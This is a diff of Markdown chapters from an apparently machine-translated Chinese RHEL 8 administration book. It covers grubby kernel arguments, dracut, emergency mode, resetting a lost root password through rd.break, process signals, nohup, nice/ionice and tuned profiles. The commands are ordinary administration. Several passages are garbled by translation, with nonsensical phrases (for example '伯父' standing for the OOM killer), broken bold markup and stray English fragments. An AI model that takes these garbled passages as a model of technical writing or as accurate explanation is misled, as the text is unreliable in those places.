-/boot/vmlinuz-4.18.0-240.15.1.el8_3.x86_64 -``` - -`--default-title`选项将显示启动期间使用的名称: - -```sh -[root@rhel8 ~]# grubby --default-title -Red Hat Enterprise Linux (4.18.0-240.15.1.el8_3.x86_64) 8.3 (Ootpa) -``` - -我们可以通过使用`--info`选项查看默认内核的更多信息: - -```sh -[root@rhel8 ~]# grubby --info=/boot/vmlinuz-4.18.0-240.15.1.el8_3.x86_64 -index=0 -kernel="/boot/vmlinuz-4.18.0-240.15.1.el8_3.x86_64" -args="ro crashkernel=auto resume=/dev/mapper/rhel-swap rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet $tuned_params" -root="/dev/mapper/rhel-root" -initrd="/boot/initramfs-4.18.0-240.15.1.el8_3.x86_64.img $tuned_initrd" -title="Red Hat Enterprise Linux (4.18.0-240.15.1.el8_3.x86_64) 8.3 (Ootpa)" -id="21e418ac989a4b0c8afb156418393409-4.18.0-240.15.1.el8_3.x86_64" -``` - -我们可以看到传递给 GRUB 的选项: - -* `index`:显示索引号 -* `kernel`:包含要载入以运行操作系统核心的内核的文件 -* `root`:将分配给根`/`目录并挂载的分区或逻辑卷 -* `initrd`:包含 RAM 磁盘的文件,用于执行引导过程的初始部分 -* `title`:引导过程中显示给用户的描述性标题 -* `id`: Identifier of the boot entry - - 提示 - - 您可能需要运行`grubby`命令来获取配置为默认的内核的信息。 您可以运行以下命令:`grubby --info=$(grubby --default-kernel)`。 - -通过删除传递给内核的`quiet`和`rhbg`参数,让引导进程更加冗长: - -```sh -[root@rhel8 ~]# grubby --remove-args="rhgb quiet" \ ---update-kernel=/boot/vmlinuz-4.18.0-240.15.1.el8_3.x86_64 -[root@rhel8 ~]# grubby \ ---info=/boot/vmlinuz-4.18.0-240.15.1.el8_3.x86_64 -index=0 -kernel="/boot/vmlinuz-4.18.0-240.15.1.el8_3.x86_64" -args="ro crashkernel=auto resume=/dev/mapper/rhel-swap rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap $tuned_params" -root="/dev/mapper/rhel-root" -initrd="/boot/initramfs-4.18.0-240.15.1.el8_3.x86_64.img $tuned_initrd" -title="Red Hat Enterprise Linux (4.18.0-240.15.1.el8_3.x86_64) 8.3 (Ootpa)" -id="21e418ac989a4b0c8afb156418393409-4.18.0-240.15.1.el8_3.x86_64" -``` - -让我们通过使用`systemctl reboot`命令重新启动机器来测试它。 下面是一个输出示例: - -![Figure 15.1 – Verbose boot ](img/B16799_15_001.jpg) - -图 15.1 -详细引导 - -在正常启动时,这可能不是很有用,因为它运行得太快了。 但是,如果存在问题,它可以帮助从控制台调试情况。 要在启动后查看这些消息,可以使用`dmesg`命令: - -![Figure 15.2 – Output of the dmesg command ](img/B16799_15_002.jpg) - -图 15.2 - dmesg 命令的输出 - -我们可以使用`--args`选项向内核添加一个参数。 让我们再次添加`quiet`选项: - -```sh -[root@rhel8 ~]# grubby --args="quiet" \ ---update-kernel=/boot/vmlinuz-4.18.0-240.15.1.el8_3.x86_64 -[root@rhel8 ~]# grubby \ ---info=/boot/vmlinuz-4.18.0-240.15.1.el8_3.x86_64 -index=0 -kernel="/boot/vmlinuz-4.18.0-240.15.1.el8_3.x86_64" -args="ro crashkernel=auto resume=/dev/mapper/rhel-swap rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap $tuned_params quiet" -root="/dev/mapper/rhel-root" -initrd="/boot/initramfs-4.18.0-240.15.1.el8_3.x86_64.img $tuned_initrd" -title="Red Hat Enterprise Linux (4.18.0-240.15.1.el8_3.x86_64) 8.3 (Ootpa)" -id="21e418ac989a4b0c8afb156418393409-4.18.0-240.15.1.el8_3.x86_64" -``` - -重要提示 - -`--info`和`--update-kernel`选项接受`ALL`选项来检查或对所有配置的内核执行操作。 - -如果任何管理任务要求我们更改内核参数,现在我们知道如何执行该任务。 让我们进入引导过程的下一个部分`initrd`。 - -**initrd**文件,或**初始 RAM 磁盘**,包含一个用于准备系统启动的最小系统。 我们在前面的配置中发现它为`/boot/initramfs-4.18.0-240.15.1.el8_3.x86_64.img`。 可以使用`dracut`命令重新生成。 让我们看一个如何重建当前`initrd`文件的例子: - -```sh -[root@rhel8 ~]# dracut --force --verbose -dracut: Executing: /usr/bin/dracut --force --verbose -dracut: dracut module 'busybox' will not be installed, because command 'busybox' could not be found! -[omitted] -dracut: *** Including module: shutdown *** -dracut: *** Including modules done *** -dracut: *** Installing kernel module dependencies *** -dracut: *** Installing kernel module dependencies done *** -dracut: *** Resolving executable dependencies *** -dracut: *** Resolving executable dependencies done*** -dracut: *** Hardlinking files *** -dracut: *** Hardlinking files done *** -dracut: *** Generating early-microcode cpio image *** -dracut: *** Constructing GenuineIntel.bin **** -dracut: *** Constructing GenuineIntel.bin **** -dracut: *** Store current command line parameters *** -dracut: *** Stripping files *** -dracut: *** Stripping files done *** -dracut: *** Creating image file '/boot/initramfs-4.18.0-240.15.1.el8_3.x86_64.img' *** -dracut: *** Creating initramfs image file '/boot/initramfs-4.18.0-240.15.1.el8_3.x86_64.img' done *** -``` - -我们可以在前面的输出中看到`initrd`文件中包含哪些早期访问所需的内核模块和文件。 当我们的`initrd`文件损坏时,以及当从备份中恢复系统时(如果在不同的硬件中进行),这个步骤是有用的,以包括适当的存储驱动程序。 - -提示 - -查看`dracut`的手册页,了解创建`initrd`文件的更多选项。 这里有一篇 Red Hat 知识库文章`initrd`,这是一个有趣的练习,可以了解更多内容:[https://access.redhat.com/solutions/24029。](https://access.redhat.com/solutions/24029%0D) - -我们已经学习了引导过程的早期阶段的非常基础知识,以便能够开始故障排除引导问题,作为一个 RHCSA 所需。 这个高级主题可以在一整本书中涵盖,但作为系统管理员,很少会在日常任务中用到它。 这就是为什么我们只包含了必需的部分。 我们将在本章的最后一节中包含一个特定的用例,称为*干预引导进程以访问系统*并修复磁盘问题。 让我们继续下一个主题,即如何使用**systemd**在 RHEL 中管理服务。 - -# 使用 systemd 管理启动顺序 - -我们已经了解了系统的固件如何将磁盘指向运行操作系统加载程序,在 RHEL 中是 GRUB。 - -GRUB 将加载内核和 initrd,准备系统启动。 然后开始系统的第一个进程,也称为进程 1 或 PID 1(**PID**表示**进程标识符**)。 这个过程必须负责有效地加载系统中所有必需的服务。 在 RHEL8 中,PID 1 由**systemd**运行。 - -在[*第四章*](04.html#_idTextAnchor059)、*常规操作工具*中,我们描述了使用 systemd 进行服务和目标管理。 让我们在本章回顾一下它与引导序列的交互。 - -我们可以使用**systemd**进行的与引导顺序相关的前两件事是重新启动系统和关闭系统。 我们将使用`systemctl`工具: - -```sh -[root@rhel8 ~]# systemctl reboot -``` - -我们将看到系统将重新启动。 我们可以使用`uptime`命令检查系统已经运行了多长时间: - -```sh -[root@rhel8 ~]# uptime -11:11:39 up 0 min, 1 user, load average: 0,62, 0,13, 0,04 -``` - -现在是时候检查`poweroff`了。 在这样做之前,请记住,在运行这个命令之后,您将需要有一种方法重新启动机器。 一旦我们意识到我们要遵循的过程,让我们运行它: - -```sh -[root@rhel8 ~]# systemctl poweroff -``` - -现在我要重新启动机器了。 - -有一个命令将停止系统,但没有发送关机信号,即`systemctl halt`。 这种情况很少使用; 然而,知道它的存在和它的功能是很好的。 - -重要提示 - -前面显示的命令可以缩写为`reboot`和`poweroff`。 如果您检查`/usr/sbin/poweroff`中的文件,您将看到它是指向`systemctl`的符号链接。 - -在[*第四章*](04.html#_idTextAnchor059),*常规操作工具*中,我们也复习了如何用`systemctl`设置默认的**系统目标**。 然而,我们可以在引导期间通过将`systemd.unit`参数传递给内核来覆盖默认配置。 我们可以使用`grubby`: - -```sh -[root@rhel8 ~]# systemctl get-default -multi-user.target -[root@rhel8 ~]# grubby --args="systemd.unit=emergency.target" --update-kernel=/boot/vmlinuz-4.18.0-240.15.1.el8_3.x86_64 -[root@rhel8 ~]# systemctl reboot -``` - -现在系统正在重新启动。 `systemd.unit=emergency.target`参数已经通过**GRUB****内核,内核**和****systemd【显示】,,反过来,将忽略默认配置和负载所需的服务目标****紧急。**** - -现在系统启动在紧急模式,并等待根密码给你控制: - -![Figure 15.3 – RHEL system booted in emergency mode ](img/B16799_15_003.jpg) - -图 15.3 - RHEL 系统在紧急模式下启动 - -在紧急模式下,没有配置网络,也没有运行其他进程。 您可以在没有其他用户访问系统的情况下对系统进行更改。 而且,只有`/`文件系统以只读模式挂载。 - -如果系统中的文件系统损坏了,这将是一种很好的检查方法,而不需要任何服务访问它。 让我们尝试使用检查文件系统的命令`fsck`: - -```sh -[root@rhel8 ~]# fsck /boot -fsck from util-linux 2.32.1 -If you wish to check the consistency of an XFS filesystem or -repair a damaged filesystem, see xfs_repair(8). -``` - -文件系统正常。 我们可以在它上运行`xfs_repair`,因为它是一个`xfs`文件系统(`fsck`检测所使用的文件系统),如果它有需要修复的问题。 - -此时,我们可能会想,如果根文件系统已经以只读方式挂载在`/`上,我们如何对它进行更改呢? 进程首先将`/`文件系统重新挂载为可读写: - -```sh -[root@rhel8 ~]# mount -o remount -o rw / -``` - -请记住,您可以通过运行`man mount`来访问该命令的手册页面。 现在我们的根文件系统以读写方式挂载在`/`中。 我们还需要加载`/boot`,所以让我们这样做: - -```sh -[root@rhel8 ~]# mount /boot -``` - -挂载了`/boot`后,让我们执行一些管理任务,比如删除在 GRUB 中使用的参数: - -```sh -[root@rhel8 ~]# grubby --remove-args="systemd.unit=emergency.target" --update-kernel=/boot/vmlinuz-4.18.0-240.15.1.el8_3.x86_64 -[root@rhel8 ~]# reboot -``` - -我们将回到系统的正常启动。 在 Linux 中,这可能不是进入紧急模式的实际方法,但它显示了如何在引导时将参数传递给 systemd。 - -提示 - -有一个`rescue.target`可以加载更多的服务,使这个过程更容易一些。 它是通过等待`sysinit.target`完成来实现的,这是紧急目标不做的。 一个很好的练习是用`rescue.target`重复前面的序列。 - -在下一节中,我们将看到如何进行这种更改,以及类似的更改,以便在 GRUB 引导序列中更容易地进行一次性引导,并且不需要密码。 - -# 干预引导进程以获得对系统的访问权 - -有时,您需要对移交的系统进行干预,在该系统中,您没有`root`用户的密码。 这是一个练习,虽然听起来像是紧急情况,但比你想象的更频繁。 - -重要提示 - -引导序列中不能有任何加密的磁盘,否则您将需要加密卷的密码。 - -执行这个过程的方法是在 GRUB 菜单期间停止引导进程。 这意味着我们需要重新启动系统。 BIOS/UEFI 检查完成后,系统将加载 GRUB。 在等待内核选择时,我们可以通过按下向上或向下箭头键来停止计数,如下截图所示: - -![Figure 15.4 – GRUB menu to select the kernel ](img/B16799_15_004.jpg) - -图 15.4 - GRUB 菜单选择内核 - -我们将移回第一个条目。 然后我们阅读屏幕底部,在那里我们找到了编辑引导行的说明: - -![Figure 15.5 – GRUB menu to select the kernel ](img/B16799_15_005.jpg) - -图 15.5 - GRUB 菜单选择内核 - -如果我们按下*E*键,我们将能够编辑菜单中选择的启动行。 我们将看到以下五行: - -![Figure 15.6 – GRUB menu to select the kernel ](img/B16799_15_006.jpg) - -图 15.6 - GRUB 菜单选择内核 - -包含`load_video`、`set``gfx_payload=keep`和`insmod gzio`的前三行是为 GRUB 设置选项。 接下来的两个选项是重要的。 让我们回顾一下: - -* `linux`:定义要加载的内核,并向其传递参数 -* `initrd`: Defines where to load the initrd and if there are any options for it - - 提示 - - 请注意,`linux`行太长了,以至于它被换行了,正如我们可以从`\`符号中看到的,这意味着该行在下面继续。 - -我们现在到`linux`行末尾,添加`rd.break`选项,如下图所示: - -![Figure 15.7 – linux kernel line edited with the rd.break option ](img/B16799_15_007.jpg) - -图 15.7 -用 rd.break 选项编辑的 linux 内核行 - -要启动编辑的行,只需要按*Ctrl*+*X*。 `rd.break`选项在加载 initrd 之前停止引导进程。 目前的情况如下: - -* 一个单一的外壳被装载。 -* 当前安装在`/`上的根文件系统是一个最小的根文件系统,它具有基本的管理命令。 -* 目标根文件系统以只读方式挂载在`/sysroot`中(而不是`/`)。 -* 没有安装其他文件系统。 -* SELinux 没有加载。 - -现在我们可以做的第一件事是使用`chroot`切换到真正的磁盘根文件系统: - -```sh -switch_root:/# chroot /sysroot -sh-4.4# -``` - -现在根文件系统已经正确安装,但是是只读的。 让我们用与前一节相同的方法来改变它: - -```sh -sh-4.4# mount –o remount –o rw / -``` - -现在我们需要用`passwd`命令修改根用户密码: - -```sh -sh-4.4# passwd -Changing password for user root -New password: -Retype new password: -passwd: all authentication tokens updated successfully -``` - -root 用户的密码已经更改,并且`/etc/shadow`文件已经更新。 但是,在没有启用 SELinux 的情况下对它进行了修改,因此在下一次启动时可能会出现问题。 为了避免这种情况,有一种机制可以在下一次引导期间修复 SELinux 标签。 该机制包括创建`/.autorelabel`隐藏的空文件,然后重新启动系统: - -```sh -sh-4.4# touch /.autorelabel -``` - -创建了文件之后,就应该重新引导它以应用 SELinux 更改。 在这种状态下,机器可能需要强制断电,然后再上电。 在下一次启动时,我们将看到 SELinux 自动重标: - -![Figure 15.8 – SELinux autorelabel during boot ](img/B16799_15_008.jpg) - -图 15.8 - SELinux 在引导过程中自动重标 - -现在我们可以使用根用户和它的新密码登录。 - -# 总结 - -我们已经在本章中回顾了启动顺序。 正如您所看到的,它并不长,但很复杂,而且非常重要,因为如果系统不能引导,就不能运行。 我们已经了解了启用 bios 系统和 UEFI 系统之间的主要差异,UEFI 系统启用了一些功能,但也有自己的需求。 我们还学习了 GRUB 及其在引导序列中的重要作用,如何使用`grubby`永久地修改条目,以及如何进行一次性修改。 现在我们知道要引导的主要文件,例如内核`vmlinuz`和初始 RAM 磁盘`initrd`。 - -本章还向我们展示了如何在紧急和救援模式下启动,以及如何干预系统重置 root 密码。 - -我们现在已经为用这些工具和程序处理我们系统中的任何困难情况做好了更充分的准备。 现在是时候深入学习下一章中的内核调优和性能概要了。** \ No newline at end of file diff --git a/docs/rhel8-admin/16.md b/docs/rhel8-admin/16.md deleted file mode 100644 index 00d9d5c5..00000000 --- a/docs/rhel8-admin/16.md +++ /dev/null @@ -1,347 +0,0 @@ -# 十六、内核调优和管理性能配置文件 - -正如前面章节中偶尔描述的,每个系统性能概要必须适应我们系统的预期使用。 - -内核调优在这个优化过程中扮演着关键的角色,我们将在本章的下面几节中进一步探讨这个问题: - -* 识别进程,检查内存使用情况,并终止进程 -* 调整内核调度参数,更好地管理进程 -* 安装`tuned`并管理调优配置文件 -* 创建自定义`tuned`配置文件 - -在本章结束时,您将了解如何应用内核调优,如何通过`tuned`快速使用配置文件来适应不同系统角色的一般用例,以及如何进一步扩展您的服务器的这些定制。 - -此外,识别已经成为资源消耗者的进程,并如何终止它们,或对它们进行优先排序,这将是在最需要的时候从我们的硬件中获得更多能量的一种有用方法。 - -让我们动手学习这些主题吧! - -# 技术要求 - -你可以继续使用**虚拟机的实践**(**VM)创建在这本书的开始[*第一章*](01.html#_idTextAnchor014)、【显示】安装 RHEL8。 本章所需的任何附加资料将在正文旁边注明。** - -# 识别进程,检查内存使用情况,并终止进程 - -进程是一个程序,运行在用户登录我们的系统相分离——可能是一个通过**Secure Shell (SSH****),运行一个 bash 终端过程,甚至部分的 SSH 守护进程听回复远程连接,或者它可能是一个程序如邮件客户端,正在执行一个文件管理器,等等。** - -当然,进程会占用我们系统中的资源:内存、**中央处理单元**(**CPU**)、磁盘等等。 对于系统管理员来说,识别或定位那些可能行为不端的代码是一项关键任务。 - -的一些基本已经覆盖[*第四章*](04.html#_idTextAnchor059),*【显示】常规操作工具,但它将是一个好主意之前复习一下这些继续; 但是,我们将在这里的性能调优上下文中展示和使用这些工具的一些,例如`top`命令,它允许我们根据 CPU 使用率、内存使用率等查看进程和排序列表。 (查看`man top`的输出,了解如何更改排序标准。)* - -在检查系统性能时要观察的一个参数是平均负载,它是准备运行或等待**输入/输出**(**I/O**)完成的进程产生的移动平均。 它由三个值——`1`、`5`和`15`分钟组成,表示负载是增加了还是降低了。 经验法则是,如果平均负载低于 1,则没有资源饱和。 - -平均负载用许多其他工具显示,比如前面提到的`top`,或者`uptime`或`w`,等等。 - -如果系统负载平均值在增长,CPU 或内存使用就会激增,如果其中列出了一些进程,就更容易定位。 如果平均负载也很高并且在增加,那么可能是 I/O 操作在增加平均负载。 可以安装`iotop`包,它提供`iotop`命令来监视磁盘活动。 当执行时,它将显示系统中的进程和磁盘活动:读、写和交换,这可能给我们提供更多关于查找位置的提示。 - -一旦一个进程被识别为占用了太多的资源,我们可以发送一个**信号**来控制它。 - -信号列表可以通过`kill –l`命令获得,如下截图所示: - -![Figure 16.1 – Available signals to send to processes ](img/B16799_16_001.jpg) - -图 16.1 -发送给进程的可用信号 - -注意,每个信号都包含一个数字和一个方面可以用于发送的信号通过**过程过程标识符**(**PID)。** - -让我们回顾一下最常见的,如下: - -![](img/Table_16.1.jpg) - -从列表中所示图 16.1*,重要的是要知道每个信号都有一个**性格**——也就是说,一旦发送一个信号,这个过程必须根据接收到的信号,执行下列操作之一: 终止、忽略信号、执行核心转储、停止进程或继续进程(如果进程已停止)。 每个信号的详细信息可以在`man 7 signal`查看,如下截图所示:* - -![Figure 16.2 – Listing of signals, number equivalent, disposition (action), and behavior (man 7 signal) ](img/B16799_16_002.jpg) - -图 16.2 -信号清单,等效号码,处置(动作)和行为(man 7 信号) - -当到达这一点时,最典型的用法之一是终止行为不端的进程,因此组合定位进程,获取 PID,并向其发送信号是一个非常常见的任务…… 如此常见的,甚至有工具允许您在一个命令中组合这些阶段。 - -例如,我们可以比较`ps aux|grep -i chrome|grep –v grep|awk '{print $2}'|xargs kill –9`和`pkill –9 –f chrome`:两者都将执行相同的操作,搜索名为`chrome`的进程,并向它们发送信号`9`(kill)。 - -当然,即使用户登录也是系统中的一个进程(运行 SSH 或 shell 等); 我们可以通过类似的结构(使用`ps`、`grep`和其他结构)或使用`pgrep`选项(如`pgrep –l –u user`)找到目标用户启动的进程。 - -请记住,正如这些信号所表明的那样,最好发送一个`TERM`信号,允许进程在退出之前运行其内部清理步骤,因为直接杀死它们可能会导致系统中的残留。 - -在诸如`tmux`或`screen`这样的终端多路复用器普及之前,有一个有趣的命令被广泛使用,那就是`nohup`,它被预先用于更持久的命令——例如,下载一个大文件。 这个命令捕获了终端挂起信号,允许执行的进程继续执行,将输出存储在一个`nohup.out`文件中,以便以后检查。 - -例如,下载**最新的 Red Hat Enterprise Linux**(**RHEL)**形象标准光学**(【显示】**ISO)文件从客户门户,选择一个发布的例子,8.4——一旦登录 https://access.redhat.com/downloads/content/479/ver=/rhel--8/8.4/x86_64/product-software, 我们将选择二进制 ISO 并右键单击以复制**统一资源定位器**(**URL**)用于下载。**** - - **提示 - -URL 获得**的当复制客户门户**规定时限,这意味着他们只有很短的时间内有效,之后,下载链接已不再是有效的,一个新的刷新后应获得 URL。 - -然后在终端中,我们将使用复制的 URL 执行以下命令: - -```sh -nohup wget URL_OBTAINED_FROM_CUSTOMER_PORTAL & -``` - -与前面的命令,终端上`nohup`不会关闭进程障碍(断开),所以`wget`将继续下载的 URL,并结束&符号(`&`)分离执行从活动的终端,让它作为一个后台作业我们可以检查`jobs`命令,直到它完成。 - -如果我们忘记添加&号,程序将阻塞我们的输入,但我们可以按键盘上的*Ctrl*+*Z*,进程将停止。 然而,由于我们确实希望它在后台继续执行,所以我们将执行`bg`,这将继续执行它。 - -如果我们想让程序接收我们的输入并与之交互,我们可以使用`fg`命令将其移动到前台。 - -如果我们按下*Ctrl*+*C*,当程序有我们的输入时,它将收到中断和停止执行的请求。 - -你可以在下面的截图中看到这个工作流: - -![Figure 16.3 – Suspending the process, resuming to the background, bringing to the foreground, and aborting ](img/B16799_16_003.jpg) - -图 16.3 -暂停进程,恢复到后台,转到前台,然后中止 - -在本例中,我们使用`nohup`和`wget`下载 Fedora 34 安装 ISO(8**GB**(**GB**)); 由于忘记添加&,我们执行了*Ctrl*+*Z*(在屏幕上显示为`^Z`)。 - -作业被报告为作业`[1]`,状态为`Stopped`(在执行`jobs`时也报告为)。 - -然后,我们使用`bg`将作业带到后台执行,现在,`jobs`将其报告为`Running`。 - -然后,我们用`fg`将作业带回前台,并执行*Ctrl*+*C*,在屏幕上表示`^C`,完成作业。 - -这个特性使我们能够运行多个后台命令——例如,我们可以将一个文件并行地复制到多个主机上,如下面的截图所示: - -![Figure 16.4 – Sample for loop to copy a file to several servers with nohup ](img/B16799_16_004.jpg) - -图 16.4 -使用 nohup 将文件复制到多个服务器的循环示例 - -在这个的例子中,在执行复制操作`scp`将发生在平行,而且,如果从我们的终端断开,作业将继续执行,输出将被存储在`nohup.out`文件夹中的文件执行它。 - -重要提示 - -用`nohup`启动的进程将不会得到任何额外的输入,所以如果程序要求输入,它将停止执行。 如果程序要求输入,建议使用`tmux`,因为它仍然会保护终端断开,但也允许与启动的程序交互。 - -我们并不总是愿意终止进程或停止或恢复它们; 我们可能只是想把它们优先化或者优先化——例如,对于可能不是关键的长时间运行的任务。 - -让我们在下一节中了解这个特性。 - -# 调整内核调度参数,更好地管理进程 - -Linux 内核是一个高度可配置的软件,因此有很多可调参数可以用于调整其行为:用于进程、网卡、磁盘、内存等等。 - -最常见的可调参数是`nice`进程值和 I/O 优先级,它们分别调节 CPU 和 I/O 时间相对于其他进程的优先级。 - -为了与即将启动的进程交互,我们可以使用`nice`或`ionice`命令,并使用一些参数预先准备要执行的命令(记住检查每个命令的`man`内容,以获得全部可用选项)。 请记住,对于`nice`,进程可以从-20 到+19,0 是标准值,-20 是最高优先级,19 是最低优先级(值越高,进程越好)。 - -每个进程都有可能让内核关注运行; 通过在执行前通过`nice`或在运行时通过`renice`改变优先级,我们可以稍微改变它。 - -让我们考虑一个长时间运行的进程,例如执行备份——我们希望任务成功,因此我们不会停止或终止该进程,但同时,我们不希望它改变服务器的生产或服务级别。 如果我们将进程的`nice`值定义为 19,这意味着系统中的任何进程将获得更大的优先级——也就是说,我们的进程将继续运行,但不会使我们的系统更加繁忙。 - -这将引领我们进入一个有趣的 topic-many 抵达 Linux 世界中,新用户或管理员其他平台,大吃一惊,当他们看到系统,与大量的记忆(**随机存取存储器**,或**RAM),是使用交换空间,或者系统负载很高。 很明显,对交换的少量使用和大量空闲 RAM 意味着内核通过将未使用的内存交换到磁盘来优化使用。 只要系统不感到乏力,有高负载只意味着系统有很长的队列的流程执行,离婚段的过程*好*19 日,他们在队列中,但如前所述,任何其他过程将获得成功。** - -当我们使用`top`或`ps`检查系统状态时,我们还可以检查进程已经运行了多长时间,这也是由内核决定的。 一个新进程刚刚创建,开始吃 CPU 和 RAM 有更高的机会被内核确保系统可操作性(记得**内存不足**(**伯父)杀手第四章中提到的[【显示】](04.html#_idTextAnchor059),*工具,常规操作【病人】?)。*** - -例如,让运行备份的进程(在进程名中包含最低优先级的备份模式)使用以下代码`renice`: - -```sh -pgrep –f backup | xargs renice –n 19 -143405 (process ID) old priority 0, new priority 19 -144389 (process ID) old priority 0, new priority 19 -2924457 (process ID) old priority 0, new priority 19 -3228039 (process ID) old priority 0, new priority 19 -``` - -如我们所见,`pgrep`收集了一个 pid 列表,该列表作为`renice`的参数,优先级调整为 19,使进程比系统中实际运行的其他进程更好。 - -让我们通过使用`bc`运行 pi (π)计算,在我们的系统中重复前面的示例,如`bc`的手册页所示。 首先,我们将计算您的系统需要多长时间,然后,我们将通过`renice`执行它。 所以,让我们先动手,让我们来计时,如下所示: - -```sh -time echo "scale=10000; 4*a(1)" | bc –l -``` - -在我的系统中,这是结果: - -```sh -real 3m8,336s -user 3m6,875s -sys 0m0,032s -``` - -现在让我们用`renice`运行它,如下所示: - -```sh -time echo "scale=10000; 4*a(1)" | bc -l & -pgrep –f bc |xargs renice –n 19 ; fg -``` - -在我的系统中,这是结果: - -```sh -real 3m9,013s -user 3m7,273s -sys 0m0,043s -``` - -有 1 秒的细微差别,但是您可以尝试在您的环境中运行更多的进程来生成系统活动,以使其更加可见,并在刻度上添加更多的零以增加执行时间。 类似地,`ionice`可以调整进程引起的 I/O 操作(读、写)的优先级——例如,为了备份,在进程上重复操作,我们可以运行以下命令: - -```sh -pgrep –f backup|xargs ionice –c 3 –p -``` - -默认情况下,它将不输出信息,但我们可以通过执行以下命令来检查该值: - -```sh -pgrep -f backup|xargs ionice -p -idle -idle -idle -idle -``` - -在本例中,我们移动了备份进程,以便在系统空闲时处理 I/O 请求。 - -我们用`–c`参数指定的类可以是以下类型之一: - -* `0`:无 -* `1`:实时 -* `2`:尽力而为 -* `3`:空闲 - -使用`–p`,我们指定要执行的过程。 - -我们可以应用于系统的大多数设置都来自特定的设置,通过`/proc/`虚拟文件系统应用于每个 PID,例如,调整`oom_adj`文件以减少`oom_score`文件上显示的值, 它最终决定当 OOM 不得不杀死某个进程以避免系统发生灾难时,该进程是否应该位于列表的较高位置。 - -当然,有一些系统级别的设置,比如`/proc/sys/vm/panic_on_oom`,可以在必须调用 OOM 时调整系统的反应方式(不管是否出现恐慌)。 - -磁盘也有一个设置来定义正在使用的调度程序——例如,对于名为`sda`的磁盘,可以通过`cat /sys/block/sda/queue/scheduler`检查它。 - -调度器使用磁盘有不同的方法,取决于内核版本的示例,它使用`noop`,`deadline`,或在 RHEL`cfq`7 日,但在 RHEL 8 那些被移除,我们有`md-deadline`,`bfq`,`kyber`和`none`。 - -这是一个大而复杂的话题,甚至有一个特定的手册在[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux_for_real_time/8/html-single/tuning_guide/index](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux_for_real_time/8/html-single/tuning_guide/index),所以如果你有兴趣更深,看一看它。 - -我希望在这里取得两点成果: - -* 明确表示,调优系统有很多选项,它有自己的文档,甚至一个红帽认证架构师考试[https://www.redhat.com/en/services/training/rh442-red-hat-enterprise-performance-tuning](https://www.redhat.com/en/services/training/rh442-red-hat-enterprise-performance-tuning)。 -* 这不是一项容易的任务——在本书中多次强调了一个观点:使用系统的工作负载测试所有内容,因为结果可能因系统而异。 - -幸运的是,没有必要对系统 tuning-it 感到害怕的东西我们可以用经验变得更精通各级(知识、硬件工作负载,等等),但另一方面,系统还包括一些简单的方法来进行快速调整,适合许多场景,下一节我们将看到。 - -# 安装已调优和管理调优配置文件 - -希望在经历了前面的部分的恐慌之后,您已经准备好迎接更容易的道路了。 - -以防万一,确保安装了`tuned`包,或者用`dnf –y install tuned`安装它。 该包提供了一个*调优的*服务,必须启用和启动该服务才能进行操作; 作为复习,我们通过运行以下命令来实现这一点: - -```sh -systemctl enable tuned -systemctl start tuned -``` - -现在,我们已经准备好进行交互并获取关于该服务的更多信息,该服务在`dnf info tuned`上宣布自己是一个守护进程,它根据一些观察动态调优系统,目前正在以太网网络和硬盘上进行操作。 - -与守护进程的交互是通过`tuned-adm`命令执行的。 为了说明,我们在下面的截图中显示了可用的命令行选项和概要文件列表: - -![Figure 16.5 – The tuned-adm command-line options and profiles ](img/B16799_16_005.jpg) - -图 16.5 -经过调优的 adm 命令行选项和概要文件 - -如我们所见,有一些选项用于列出、禁用和获取关于概要文件的信息、获取关于使用哪个概要文件的建议、验证设置是否被更改、自动选择一个概要文件,等等。 - -要记住的一点是,`tuned`包的新版本可能会带来额外的概要文件或配置(存储在`/usr/lib/tuned/`文件夹层次结构中),因此在您的系统中输出可能会有所不同。 - -让我们看看下表中一些最常见的问题: - -![](img/Table_16.1_a.jpg) - -![](img/Table_16.1_b.jpg) - -如前所述,每个配置总是需要权衡的:在提高性能时需要更多的功耗,或者提高吞吐量也可能增加延迟。 - -让我们为我们的系统启用`latency-performance`配置文件。 为此,我们将执行以下命令: - -```sh -tuned-adm profile latency-performance -``` - -我们可以验证它已经被`tuned-adm active`激活,我们可以看到它显示`latency-performance`,如下截图所示: - -![Figure 16.6 – The tuned-adm profile activation and verification ](img/B16799_16_006.jpg) - -图 16.6 -调优的 adm 配置文件激活和验证 - -我们另外用`sysctl -w vm.swappiness=69`修改了系统(故意的)来演示`tuned-adm verify`操作,因为它报告一些设置从配置文件中定义的更改了。 - -重要提示 - -在编写本文时,动态调优在默认情况下是禁用的——为了启用或检查当前状态,检查`dynamic_tuning=1`是否出现在`/etc/tuned/tuned-main.conf`文件中。 它在性能配置文件中是禁用的,因为它在默认情况下试图平衡功耗和系统性能,这与性能配置文件试图做的相反。 - -此外,记住,**驾驶舱界面介绍了这本书还有一个办法改变形象表现在以下 screenshot-once 你点击**性能概要文件**在驾驶舱主页链接,打开这个对话框:** - -![Figure 16.7 – Changing tuned profile within Cockpit web interface ](img/B16799_16_007.jpg) - -图 16.7 -在座舱 web 界面中更改调整的配置文件 - -在下一节中,我们将研究调优配置文件的工作原理以及如何创建一个自定义配置文件。 - -# 创建自定义调优配置文件 - -一旦我们评论了不同的调优配置文件… *他们是如何工作的? 如何创建一个?* - -例如,让我们通过检查`/usr/lib/tuned/latency-performance/tuned.conf`文件来检查下几行代码中的`latency-performance`。 - -一般来说,文件的语法是`man tuned.conf`中描述页面,但是这个文件,您将能够检查,是一个*初始化(ini) - file*——也就是说,一个文件组织的类别,表示括号和双键和值之间分配的平等(`=`)的迹象。 - -如果主要部分通过`include`继承了另一个概要文件,那么它将定义概要文件的摘要,而其他部分则依赖于所安装的插件。 - -为了了解可用的插件,手册页(`man tuned.conf`)中包含的文档指导我们执行`rpm -ql tuned | grep 'plugins/plugin_.*.py$'`,它提供了类似如下的输出: - -![Figure 16.8 – Available tuned plugins in our system ](img/B16799_16_008.jpg) - -图 16.8 -系统中可用的调优插件 - -重要提示 - -如果两个或更多的插件试图在相同的设备上运行,`replace=1`设置将标记出运行所有插件或仅运行最新的插件之间的差异。 - -回到`latency-performance`轮廓,它有三个部分:`main`、`cpu`和`sysctl`。 - -对于 CPU,它设置了性能调控器,如果`cat /sys/devices/system/cpu/*/cpufreq/scaling_governor`支持,我们可以检查系统中每个可用 CPU 的性能调控器。 请记住,在某些系统中,路径可能不同,甚至可能不存在,我们可以通过执行`cpupower frequency-info 